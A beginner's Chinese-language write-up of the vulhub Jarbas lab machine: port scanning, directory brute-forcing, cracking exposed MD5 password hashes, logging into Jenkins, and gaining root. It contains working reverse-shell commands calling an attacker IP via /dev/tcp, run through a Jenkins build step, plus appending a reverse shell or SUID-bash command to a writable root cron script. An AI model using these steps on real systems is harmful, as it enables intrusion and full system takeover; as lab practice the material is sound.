JARBAS--打靶笔记
打靶萌新,跟着红队笔记的视频做下来的:【「红队笔记」靶机精讲:JARBAS - Jenkins渗透原理详解,一个典型CMS渗透测试样本。】
vulhub开源靶机Jarbas。此靶机涉及Jenkins利用和自动任务提权
nmap扫描
主机发现
nmap -sn 192.168.9.0/24
tcp端口开放情况扫描
nmap -sT --min-rate 10000 -p- 192.168.9.146 -oA nmap/ports
tcp开放端口详细扫描
sudo nmap -sT -sV -sC -O -p22,80,3306,8080 192.168.9.146 -oA nmap/detail
vuln漏洞脚本扫描
nmap --script=vuln -p22,80,3306,8080 192.168.9.146 -oA nmap/vuln
udp端口扫描
攻击
os:Linux 3.2 - 4.9
nmap扫描出来四个攻击面:22,80,3306,8080
其中22-ssh 和3306-数据库暂时没有信息,放后面
80大概率web服务,扫描出来的信息:
http-enum: /icons/: Potentially interesting folder w/ directory listing
Jarbas - O Seu Mordomo Virtual!
Apache/2.4.6 (CentOS) PHP/5.4.16
8080不到,但大概率也是什么服务,扫描出来的信息:
http-enum: /robots.txt: Robots file
总之先从80和8080下手,如果在过程中搜索到了能给22,3306的信息,再考虑这俩
80和8080的初步查看
80
疑似内容管理系统。Jarbas是这个公司的名字
看看/icons/
:全是gif和png没啥有用的qa
8080
是个后台登录界面
诶这里不是jarbas了,是Jenkins。搜索一下。如果能从后台登录进去,大概率网上有利用手法
看看/robots.txt
:试着访问http://192.168.9.146:8080/build
,没有东西。暂时记住往后面走吧
目录扫描
初步查看完毕,没有信息了,目录扫描一下
sudo dirb http://192.168.9.146/
sudo gobuster dir -u http://192.168.9.146 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
啥都扫不出来的解决思路
dirb和gobuster都没有扫出东西,很怪。特别是gobuster这边啥都没有。
这里有个关键思路:当目录扫不出东西的时候,可以尝试指定扩展名,即html,php
之类。可以根据前面nmap扫出来的结果进行猜测
sudo gobuster dir -u http://192.168.9.146 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x html,php
access.html
好好好,一眼md5。粘下来开始破解!
tiago:5978a63b4654c73c60fa24f836386d87_italia99
trindade:f463f63616cb3f1e81ce46b39f882fd5_marianna
eder:9b38e2b1e8b12f426b0d208a7ab6cb98_vipsu
cmd5直接拿下!john还没出,就暂停了
密码有了,后台我来了!
前两个都不对,尝试到第三个终于进去了:eder:vipsu
Jenkins利用一:RCE-GetShell
红队笔记师傅演示的方法:
New Item
->freestyle project
->build
->execute shell
:/bin/bash -i >& /dev/tcp/kali_ip/port 0>&1
->Save
->build now
New Item
freestyle project
build
execute shell
:/bin/bash -i >& /dev/tcp/kali_ip/port 0>&1
/bin/bash -i >& /dev/tcp/192.168.9.132/6666 0>&1
写入反弹shell指令后,点击Save保存。
build now
:点击build now之前,别忘了在kali上开启监听
sudo nc -lvnp 6666
点击build now就可以获得反弹shell啦!
提权
基础信息收集
先看一下基础信息:
看一下ip地址确认靶机:
都不行?可能是权限太低导致的qaq
看看是不是debin:也不能显示,干。估计都不行,直接开始提权
提权尝试01
找提权方法:sudo -l
看看。好好好,啥都不行
看看有哪些账号是可利用的:cat /etc/passwd
。找有/bin/bash
的账号
好好好,就一个root。而且这里发现咱们的jenkins是/bin/flase
,好家伙
自动任务提权
选择自动任务提权是因为jenkins能获取到的系统信息很受限
也可以是通过扫描具备suid的可执行文件获取到crontab可利用的信息:
find / -perm -u=s -type f 2>/dev/null
试试自动任务提权:cat /etc/crontab
自动任务的文件名不一定叫这个,也可能是/etc/cron.d
之类的。总之多试。
发现每五分钟,会以root权限执行/etc/script/CleaningScript.sh
文件。看看能不能往这个文件里写东西
ls -l /etc/script/CleaningScript.sh
唯爱777~。先看一眼文件在干啥,好好好,每五分钟删一下access_log。
因为不知道离下一次执行这个文件还剩多少分钟,所以最好先在kali上开启监听再往里面写。这样五分钟内一定能收到一个反弹shell
好,现在往里面写:有两种方案
echo "/bin/bash -i >& /dev/tcp/192.168.9.132/4444 0>&1" >> /etc/script/CleaningScript.sh
# 这是反弹root权限的shell
echo "chmod u+s /bin/bash" >> /etc/script/CleaningScript.sh
# 这是直接提升已有shell权限:获得root权限后执行 bash -p
然后静静等待五分钟。
shell来了!
法二则是输入:bash -p
基础信息确认:确实是目标靶机
找flag去
拿下!